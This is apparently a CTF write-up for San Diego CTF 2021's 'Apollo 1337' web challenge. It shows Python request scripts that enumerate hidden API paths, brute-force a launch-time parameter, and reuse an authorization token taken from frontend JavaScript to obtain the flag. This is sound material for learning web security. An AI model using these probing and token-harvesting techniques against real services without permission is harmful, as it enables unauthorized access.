# San Diego CTF 2021 : Apollo 1337 > [time=Sun, May 09, 2021 2:09 AM] ###### tags: `CTF` `web` `api` `tokens` `sdctf-2021` ## Challenge Description ![](https://i.imgur.com/5mpSUKx.png) <br> ## TL;DR * The website's interface seems to be down. * While investigating the network, website uses an API with the path [/api/status?verbose=](https://) * Setting parameter verbose to any value, unlocks other **API paths** * Investigating the responses and crafting a right request would launch the rocket * Finally, the **crafted request**, requires an **Authorization token**, which can be found on Frontend JS pages * Sending the correct request along with Authorization token would give the **flag** <br> ## Solution Opening up the website, the page shows two messages about Frontend and Backend Servers. It says, the FrontEnd is not active, but the Backend server is working fine. ![](https://i.imgur.com/t5IPq3r.png) There must be some sort of API which the website must be using as refered in the challenge description Checking out the network tab in firefox dev tools, reveals the Backend API route > [https://space.sdc.tf/api/status?verbose=](https://) ![](https://i.imgur.com/leSZiVJ.png) This route gives the following response ![](https://i.imgur.com/0QOsjdG.png) Wait!! We got the API, but what's the verbose parameter in the URL? May be it generates verbose response!. Trying [?verbose=1](https://), yeilds the following response ![](https://i.imgur.com/pHcXKi1.png) Cool!! It revealed some other API paths. Rocket launching and fuel? The path [/rocketLaunch](https://) is more interesting according to the challenge description Let's try sending some requests using python. Sending a get request using python - ``` import requests url = "https://space.sdc.tf/api/rocketLaunch" print(requests.get(url).text) ``` ``` request body must be json ``` Oh, it accepts JSON data. Let's try a post request with empty data ``` import requests data = {} url = "https://space.sdc.tf/api/rocketLaunch" res = requests.post(url, json=data) print(res.text) ``` ``` rocket not specified ``` rocket?? May be its a key in the json data. Let's provide a random rocket. ``` import requests data = {"rocket": "random"} url = "https://space.sdc.tf/api/rocketLaunch" res = requests.post(url, json=data) print(res.text) ``` ``` rocket not recognized (available: triton) ``` Oh, it accepts triton as a rocket. ``` import requests data = {"rocket": "triton"} url = "https://space.sdc.tf/api/rocketLaunch" res = requests.post(url, json=data) print(res.text) ``` ``` launchTime not specified ``` And providing a random launch time - ``` import requests data = {"rocket": "triton", "launchTime": "random"} url = "https://space.sdc.tf/api/rocketLaunch" res = requests.post(url, json=data) print(res.text) ``` ``` launchTime not in hh:mm format ``` Okay ! ``` import requests data = {"rocket": "triton", "launchTime": "00:01"} url = "https://space.sdc.tf/api/rocketLaunch" res = requests.post(url, json=data) print(res.text) ``` ``` launchTime unapproved ``` Cool, we got a break to think here. What would be the launch time? I tried looking in the other API paths. Tried 13:37 from challenge name, but nothing really worked. But then i decided to Brute force There are 24 hours and 60 minutes. So we get the min time to be 00:00 while the maximum time of 23:59. So the possiblities are few being **24x60=1440** So i used a small python script! ``` import requests url = "https://space.sdc.tf/api/rocketLaunch" for i in range(11, 24): for j in range(60): time = str(i).zfill(2) + ':' + str(j).zfill(2) data = {"rocket": "triton", "launchTime": time} res = requests.post(url, json=data) if len(res.text) > 21: print("Got the correct time: " + time) exit() print(time + " : " + res.text) ``` ![](https://i.imgur.com/f5ytyuq.png) Cool! We have the correct time now. > Oh my bad! The description tells that the rocket was scheduled at noon today. So we can perfectly use the time 12:00, instead of brute forcing. Anyway... So going further - ``` import requests data = {"rocket": "triton", "launchTime": "12:00"} url = "https://space.sdc.tf/api/rocketLaunch" res = requests.post(url, json=data) print(res.text) ``` ``` fuel pumpID not specified ``` Remember the fuel path [/api/fuel](https://)? ![](https://i.imgur.com/4bpkIsk.png) We got some fuels to try out!! I tried all the five fuels. Fourth one is working. ``` import requests data = {"rocket": "triton", "launchTime": "12:00", "pumpID": 4} url = "https://space.sdc.tf/api/rocketLaunch" res = requests.post(url, json=data) print(res.text) ``` ``` frontend authorization token not specified ``` Oh shit! Authorization? Where do I get the token? But it's saying **frontend authorization**. May be, trying out to seach some JS files is a great idea. As i thought, I found a token in JS a file. ``` window.localStorage.getItem("debug") && (e.headers = { Token: "yiLYDykacWp9sgPMluQeKkANeRFXyU3ZuxBrj2BQ" }), fetch("./api/status?verbose=", e).then((function(e) { return e.json() })).then((function(e) { return n(e.longStatus) })) ``` For some reason, the `token` was case-sensitive. But is was spelled `Token` in JS So finally, providing the token in the json - ``` import requests data = {"rocket": "triton", "launchTime": "12:00", "pumpID": 4, "token": "yiLYDykacWp9sgPMluQeKkANeRFXyU3ZuxBrj2BQ"} url = "https://space.sdc.tf/api/rocketLaunch" res = requests.post(url, json=data) print(res.text) ``` ``` rocket launched. sdctf{0ne_sM@lL_sT3p_f0R_h@ck3r$} ``` Yayy!! The rocket got launched. We have the flag. <br> ## Flag > sdctf{0ne_sM@lL_sT3p_f0R_h@ck3r$} <br> ## Takeaways * Keep an eye on parameters which might have different functionalities * Always search for API tokens, Authorization tokens and other important data in JavaScript files <br> <br> Happy Hacking! <br> <br> > This was an easy challenge. I did elobarate the solution in order to make it more detailed. This might help the players who have not played the CTF. > Feel free to provide feedback. > [Twitter](https://twitter.com/z0k_r) > [Discord](httpps://discord.com/users/539772083878494219)